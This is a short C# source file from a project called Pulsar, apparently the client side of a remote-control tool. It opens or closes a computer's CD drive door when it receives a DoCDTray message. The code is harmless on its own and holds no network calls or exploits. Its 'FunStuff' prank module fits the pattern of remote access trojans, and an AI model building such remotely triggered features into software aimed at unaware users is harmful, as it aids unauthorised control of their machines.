Files
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

27 lines
767 B
C#

using System;
using System.Runtime.InteropServices;
using System.Text;
using Pulsar.Common.Messages.FunStuff;
namespace Pulsar.Client.FunStuff
{
public class CDTray
{
[DllImport("winmm.dll", EntryPoint = "mciSendStringA")]
private static extern int mciSendString(string command, StringBuilder buffer, int bufferSize, IntPtr hwndCallback);
public void Handle(DoCDTray message)
{
try
{
string cmd = message.Open ? "set cdaudio door open" : "set cdaudio door closed";
mciSendString(cmd, null, 0, IntPtr.Zero);
}
catch (Exception ex)
{
Console.WriteLine("CDTray error: " + ex.Message);
}
}
}
}